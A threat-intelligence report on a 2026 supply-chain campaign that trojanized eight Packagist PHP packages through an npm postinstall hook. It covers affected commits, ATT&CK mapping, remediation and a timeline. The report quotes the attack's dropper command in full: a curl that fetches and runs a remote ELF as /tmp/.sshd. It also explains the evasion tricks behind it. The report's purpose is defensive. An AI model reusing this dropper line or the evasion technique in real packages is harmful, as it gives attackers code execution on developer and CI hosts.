Threat reportSupply ChainTL-2026-0574
Packagist Cross-Ecosystem Supply Chain Attack — 8 Composer Packages Trojanized via package.json postinstall to Drop GitHub-Hosted Linux Implant (gvfsd-network -> /tmp/.sshd)
Packagist Cross-Ecosystem Supply Chain Attack (TL-2026-0574), also tracked as parikhpreyash4 postinstall campaign, is a critical-severity supply-chain compromise scored CVSS 9.6, first published 2026-05-23. It has no confirmed attribution, affects moritz-sauer-13 silverstripe-cms-theme, maps to 19 MITRE ATT&CK techniques (T1005, T1036, T1041), and is covered by 9 detection rules and 25 indicators of compromise.
- CVSS
- 9.6/10Critical
- CVEs
- 0None referenced
- Techniques
- 19MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 25Indicators of compromise
Key facts for TL-2026-0574
- Threat ID
- TL-2026-0574
- Also known as
- parikhpreyash4 postinstall campaign, gvfsd-network dropper, systemd-network-helper supply chain
- Severity
- CRITICAL
- CVSS
- 9.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
- Status
- MONITORING
- Category
- SUPPLY_CHAIN
- First published
- Last reviewed
- Attribution confidence
- NONE
- Motivation
- UNKNOWN
- Target sectors
- software-development, saas, e-commerce, cms-operators, ci-cd-providers, open-source-maintainers
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 25
Malware and tooling in Packagist Cross-Ecosystem Supply Chain Attack
Malware and tooling: Unknown stage-1 ELF loader (gvfsd-network)
How Packagist Cross-Ecosystem Supply Chain Attack works
A coordinated supply chain campaign tracked by Socket (May 22, 2026) compromised 8 Composer/Packagist PHP packages by inserting a malicious npm postinstall hook into their package.json — sidestepping Composer-focused dependency scanners. The hook curls a Linux ELF named gvfsd-network from github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases, drops it as /tmp/.sshd, chmods it, and runs it in the background. Socket identified the same payload across 700+ GitHub repositories, including two .github/workflows CI files, indicating broad cross-ecosystem reach beyond the Packagist ecosystem.
On May 22, 2026, Socket threat research disclosed a cross-ecosystem supply chain compromise affecting eight PHP packages indexed on Packagist whose upstream GitHub repositories were modified to ship an identical malicious npm lifecycle hook. The Hacker News reported the campaign on May 23, 2026.
The attacker placed a postinstall entry in each repository''s package.json (not composer.json), exploiting the fact that many modern PHP projects bundle JavaScript build tooling — Laravel starter kits, CMS themes, and admin UIs commonly run ''npm install'' or ''yarn install'' during development bootstrap, which silently triggers npm/yarn lifecycle scripts at project root. Because Composer-focused dependency scanners and policy engines (e.g., composer audit, snyk php, dependabot for composer) do not parse package.json, the malicious hook evaded the ecosystem''s native review surface entirely. This is a deliberate cross-ecosystem evasion technique: the carrier is a Composer package, but the trigger is an npm lifecycle event.
The postinstall command was identical across all confirmed artifacts:
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &
Mechanics of the dropper: ''-s'' suppresses progress output, ''-k'' disables TLS certificate verification (operationally hostile and a clear IOC), ''-L'' follows redirects (the GitHub Releases URL 302s to objects.githubusercontent.com), ''-o /tmp/.sshd'' writes a hidden-style file (leading dot) using a name that mimics the OpenSSH daemon, ''2>/dev/null'' suppresses curl errors so install logs remain clean, ''chmod +x'' marks the binary executable, and trailing ''&'' detaches the process so the install command returns immediately. The retrieved ELF is named ''gvfsd-network'', mimicking the legitimate GNOME Virtual File System daemon to blend in with process listings on Linux developer workstations and CI runners.
The payload binary itself was unavailable at the time of Socket''s analysis (the hosting GitHub account ''parikhpreyash4'' had been removed), so post-execution behavior is inferred from the dropper wrapper. The combination of TLS verification bypass, hidden-name drop path under /tmp, masquerade naming, and detached background execution is consistent with a stage-1 loader that establishes outbound C2 and stages a second payload. Without the binary in hand, attribution to a specific malware family cannot be made, but the operational tradecraft is consistent with low-cost commodity Linux implants used by financially motivated actors and ecosystem-scraping crews.
The eight confirmed Packagist packages, all targeting branch-tracking development versions, are: moritz-sauer-13/silverstripe-cms-theme (dev-master, commit 7825479), crosiersource/crosierlib-base (dev-master, commit 551c319), devdojo/wave (dev-main, commit 8f9127a, reverted via 5afe6da), devdojo/genesis (dev-main, commit fe7b1cd, reverted via 3be1f20), katanaui/katana (dev-main, commit a32f9e1, reverted via f679252), elitedevsquad/sidecar-laravel (3.x-dev, commit ed6fd36, reverted via b1f5c53), r2luna/brain (dev-main, commit 85eca91, reverted via 421a1d5), and baskarcm/tzi-chat-ui (dev-main, commit 58fa0b2). The highest-exposure carriers are devdojo/wave (~6,400 GitHub stars) and devdojo/genesis (~1,300 stars, ~9,100 Packagist installs) — both Laravel SaaS starter kits whose typical workflow runs npm install at project root, immediately triggering the dropper.
Socket''s broader code search for the payload URL surfaced ~700 GitHub repositories referencing the same command within roughly 17 hours of detection. Two of these were not package.json hooks but GitHub Actions workflow files: 448776129/UA2F (a fork of Zxilly/UA2F) embedded the command in .github/workflows/ci.yml under a step labeled ''Dependency Cache Sync'', and 448776129/blog-1 (a fork of JS-banana/blog) embedded it in a deploy workflow. This indicates the actor is also probing CI execution as a delivery channel, which would yield code-execution on GitHub-hosted runners and any self-hosted runners that build those forks.
Defenders should treat any host that resolved a dev-tracking version of the eight packages between the malicious-commit timestamp and the revert as potentially compromised. Branch-tracking constraints (''dev-main'', ''dev-master'', ''3.x-dev'') resolve to the latest commit at install time, so even pinned lockfiles that point to those constraints will have pulled the trojanized commit while it was live. Forensic triage should focus on /tmp/.sshd presence, outbound connections to github.com and objects.githubusercontent.com from CI runners and developer workstations during the exposure window, and process trees descending from npm/node postinstall under composer-driven build steps.
MITRE ATT&CK techniques used in TL-2026-0574
Collection
Defense Evasion
T1036 Masquerading; T1070 Indicator Removal; T1564 Hide Artifacts
Exfiltration
T1041 Exfiltration Over C2 Channel
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
Command and Control
T1071 Application Layer Protocol; T1102 Web Service; T1105 Ingress Tool Transfer
Discovery
T1082 System Information Discovery
Initial Access
Persistence
T1546 Event Triggered Execution
Credential Access
Resource Development
T1583 Acquire Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities; T1608 Stage Capabilities
defense-impairment
Affected products and versions in Packagist Cross-Ecosystem Supply Chain Attack
- moritz-sauer-13 — silverstripe-cms-theme
Vulnerable versions: dev-master (commit 7825479)
Fixed in: dev-master (post-revert) - crosiersource — crosierlib-base
Vulnerable versions: dev-master (commit 551c319)
Fixed in: dev-master (post-revert) - devdojo — wave
Vulnerable versions: dev-main (commit 8f9127a)
Fixed in: dev-main (commit 5afe6da) - devdojo — genesis
Vulnerable versions: dev-main (commit fe7b1cd)
Fixed in: dev-main (commit 3be1f20) - katanaui — katana
Vulnerable versions: dev-main (commit a32f9e1)
Fixed in: dev-main (commit f679252) - elitedevsquad — sidecar-laravel
Vulnerable versions: 3.x-dev (commit ed6fd36)
Fixed in: 3.x-dev (commit b1f5c53) - r2luna — brain
Vulnerable versions: dev-main (commit 85eca91)
Fixed in: dev-main (commit 421a1d5) - baskarcm — tzi-chat-ui
Vulnerable versions: dev-main (commit 58fa0b2)
Fixed in: dev-main (post-revert)
Remediation for Packagist Cross-Ecosystem Supply Chain Attack
Patches
- Affected packages have been reverted upstream — pull the latest commit of each affected package to receive the clean revert (see commit hashes in description)
- Packagist has removed the malicious versions; reinstalling from Packagist will fetch the cleaned artifacts
Immediate actions
- Block egress to github.com/parikhpreyash4/* and the systemd-network-helper-aa5c751f release path at perimeter and CI egress proxies
- Hunt for /tmp/.sshd on all Linux developer workstations and CI runners; quarantine and triage any matches
- Audit composer.lock and package-lock.json/yarn.lock for any of the 8 affected packages resolved against branch-tracking constraints (dev-main, dev-master, 3.x-dev) between the malicious-commit dates and the revert dates
- Rebuild affected projects from a known-clean lockfile state and rotate any secrets that were present in build environments during the exposure window (npm tokens, composer auth tokens, AWS keys, GitHub Actions secrets)
- Inspect .github/workflows/*.yml for steps labeled 'Dependency Cache Sync' or that curl from parikhpreyash4 and disable affected workflows
Workarounds
- Set npm_config_ignore_scripts=true in the build environment to neutralize postinstall hooks for affected and any future similar campaigns
- Use composer install --no-scripts in conjunction with explicit, audited build steps that do not run npm install at project root
- Run all Composer-driven builds inside ephemeral, network-restricted containers
Longer-term hardening
- Pin Composer dependencies to immutable version tags rather than dev-* branch constraints in production pipelines
- Extend SCA tooling to parse package.json lifecycle scripts inside Composer packages and other cross-ecosystem carriers (Python packages shipping setup.py exec, Go modules shipping make targets, etc.)
- Enforce npm config set ignore-scripts true in CI build images and explicitly opt in per-package where lifecycle hooks are required
- Run npm install / composer install in network-egress-restricted CI sandboxes that allowlist only the package registry hostnames
- Deploy EDR with file-creation telemetry under /tmp and process-launch telemetry for hidden-name executables (leading dot)
- Subscribe to Socket, Snyk, or equivalent supply chain feed and ingest IOC lists into the SIEM
Weaknesses (CWE) in Packagist Cross-Ecosystem Supply Chain Attack
Timeline of Packagist Cross-Ecosystem Supply Chain Attack
- Packagist removes the malicious package versions from its index; subsequent installs against the affected packages resolve to clean post-revert commits.
- Socket documents two additional infection vectors outside package.json: .github/workflows/ci.yml in 448776129/UA2F (step labeled 'Dependency Cache Sync') and a deploy workflow in 448776129/blog-1 — indicating the actor is also testing CI execution as a delivery channel.
- GitHub account 'parikhpreyash4' and the systemd-network-helper-aa5c751f release repository become unavailable, removing the live payload but leaving any previously dropped /tmp/.sshd binaries resident on victim hosts.
- Upstream maintainers of devdojo/wave (5afe6da), devdojo/genesis (3be1f20), katanaui/katana (f679252), elitedevsquad/sidecar-laravel (b1f5c53), and r2luna/brain (421a1d5) push revert commits removing the malicious package.json postinstall entries.
- Socket threat research identifies the malicious postinstall hook in the package.json of 8 Composer packages on Packagist and pivots to a code search that surfaces ~700 GitHub repositories referencing the same payload URL within ~17 hours.
- Threadlinqs Intelligence publishes TL-2026-0574 with full MITRE mapping, IOC set, and detection coverage for SOC ingestion.
- The Hacker News publishes a public-facing report on the campaign, citing Socket's research and emphasizing the cross-ecosystem evasion (package.json hook in Composer packages).
- As of 2026-05-29, the campaign is contained: the parikhpreyash4 GitHub account and gvfsd-network payload are offline, Packagist purged the 8 malicious versions, and most carrier repos were reverted. But the unattributed actor was probing CI-workflow injection and could rotate infrastructure, so monitoring continues.
Sources cited for Packagist Cross-Ecosystem Supply Chain Attack
- Packagist Supply Chain Attack Infects 8 Packages Using GitHub-Hosted Linux Malware
- Malicious Postinstall Hook Found Across 700+ GitHub Repositories
- Supply Chain Attack Flags 700+ GitHub Repos With Hidden Linux Payload
- Composer CLI Reference — install and audit
- npm Documentation — Lifecycle Scripts (postinstall)
- MITRE ATT&CK T1195.002 — Compromise Software Supply Chain
- MITRE ATT&CK T1059.004 — Unix Shell
- MITRE ATT&CK T1105 — Ingress Tool Transfer
Detection coverage for TL-2026-0574
As of 2026-05-23, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0574 across Splunk SPL, Microsoft KQL and Sigma, covering 25 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.